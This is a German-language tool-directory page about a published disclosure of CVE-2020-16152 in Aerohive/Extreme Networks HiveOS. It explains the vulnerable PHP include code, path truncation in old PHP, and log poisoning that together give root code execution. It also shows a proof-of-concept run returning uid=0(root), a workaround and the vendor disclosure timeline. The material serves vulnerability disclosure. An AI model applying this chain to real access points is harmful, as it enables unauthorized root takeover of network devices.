Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-16152 — Erklärung und PoC für CVE-2020-16152 | Kitploit
Tools/GitHubGitHub/eriknl/cve-2020-16152
SchwachstellenanalyseExploitationLaterale BewegungWebanwendungs-ExploitationPenetrationstestsBinary-Exploitation
GitHuberiknl/cve-2020-16152

CVE-2020-16152

Erklärung und PoC für CVE-2020-16152

Repository anzeigen
116vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-16152

Zusammenfassung

ProduktanbieterAerohive Networks / Extreme Networks
ProduktnameHiveOS / IQ Engine
ProduktversionGetestet auf 10.0r8a build-242466 und älter

Das administrative Webinterface (NetConfig) von Aerohive/Extreme Networks HiveOS ist anfällig für LFI, da es eine alte PHP-Version verwendet, die anfällig für String-Truncation-Angriffe ist. Ein Angreifer kann dies in Verbindung mit Log-Poisoning nutzen, um auf einem anfälligen Access Point root-Rechte zu erlangen.

Als Workaround kann das Webinterface mit folgendem Befehl deaktiviert werden: no system web-server hive-UI enable, um sich vor dieser Sicherheitslücke zu schützen.

Offenlegungszeitplan:

Details

Der Parameter _page, der für Aufrufe von action/AhBaseAction.class.php5 über die URL /action.php5 verwendet wird, dient dazu, dynamisch eine PHP-Klasse zu laden, die für eine Seite verwendet wird, wie wir im folgenden Codeausschnitt sehen können ($pageName stammt aus $_POST['_page']):

root@kitploit:~
protected function getAccess($pageName,$actionType) {
  $filename = $pageName.'Access.class.php5';
  $classname = $pageName.'Access';
  if (include_once $filename) {
    require_once $filename;
    return new $classname($this->user,$actionType);
  }
  ...
}

Wie wir sehen können, gibt es kein Präfix für diesen Dateinamen, sodass es möglich ist, Pfade zu beliebigen Dateien zu durchlaufen. Da jedoch ein Suffix vorhanden ist, ist es nicht möglich, einfach eine beliebige Datei einzubinden. Da die PHP-Version auf dem Access Point recht alt ist, können wir dies umgehen (weitere Informationen):

root@kitploit:~
$ php-cgi -v
PHP Warning:  PHP Startup: Cannot dynamically load sockets.so - dynamic modules are not supported in Unknown on line 0
PHP 5.2.17 (cgi-fcgi) (built: May 28 2020 23:36:34)
Copyright (c) 1997-2010 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2010 Zend Technologies

Indem wir den Pfad mit ausreichend /-Zeichen füllen, können wir sicherstellen, dass das Suffix Access.class.php5 vollständig abgeschnitten wird und wir beliebige Dateien einbinden können. Da fehlgeschlagene Anmeldeversuche in /tmp/messages protokolliert werden und den übermittelten Benutzernamen enthalten, können wir die Anmeldeseite nutzen, um /tmp/messages zu vergiften und dann mit dem oben aufgeführten LFI-Angriff Code daraus auszuführen. Obwohl der Webserver selbst mit einem Benutzer mit niedrigen Rechten läuft, wird die von hiawatha verwendete php-cgi-Instanz tatsächlich als root ausgeführt, was bedeutet, dass der gesamte PHP-Code als root ausgeführt wird:

root@kitploit:~
$ ps | egrep "php|hiawatha"
 2237 root      9980 S    /usr/local/bin/php-cgi -b 127.0.0.1:2008
12088 admin    20840 S    /usr/local/sbin/hiawatha

PoC

root@kitploit:~
$ ./CVE-2020-16152.py 192.168.0.166 'echo -e "\n\n";id' | tail
2020-08-30 13:56:28 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:56:28 GMT+1:00 2020
2020-08-30 13:56:28 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:56:54 info    ah_dcd: application: get track-ip trigger access console request: cancel.
2020-08-30 13:57:00 notice  root: ntpclient: [ntpclient]Set time - Sun Aug 30 13:57:00 GMT+1:00 2020
2020-08-30 13:57:00 notice  root: Connect [0.aerohive.pool.ntp.org] successful
2020-08-30 13:57:31 notice  ah_webui: security: Admin "<


uid=0(root) gid=0(root)

Tool herunterladen
2019/02/17Problem wurde an Aerohive Networks gemeldet
2019/02/19Bestätigung des Problems durch den Anbieter erhalten, Workaround vorgeschlagen (Webinterface deaktivieren)
2019/02/25Bestätigung des Problems durch den Anbieter
2019/03/18Ping?
2019/05/30Ping?
2019/06/03Anbieter schlägt Telefonat vor, antwortete mit Telefondaten. Kein Anruf erhalten
2019/08/12Ping? Anbieter antwortete, dass das Problem intern eskaliert wurde
2019/09/23Ping?
2019/09/25Anbieter antwortet, dass das LFI-Problem noch nicht behoben wurde
2020/07/30Festgestellt, dass das Problem in HiveOS 10.0r8a build-242466 vom 05/2020 immer noch nicht behoben ist. CVE reserviert und Frist bis 2020/09/01 für Veröffentlichung mitgeteilt, sofern nicht aktiv an einem Fix gearbeitet wird
2020/09/01Immer noch keine Antwort vom Anbieter, Veröffentlichung von Details und PoC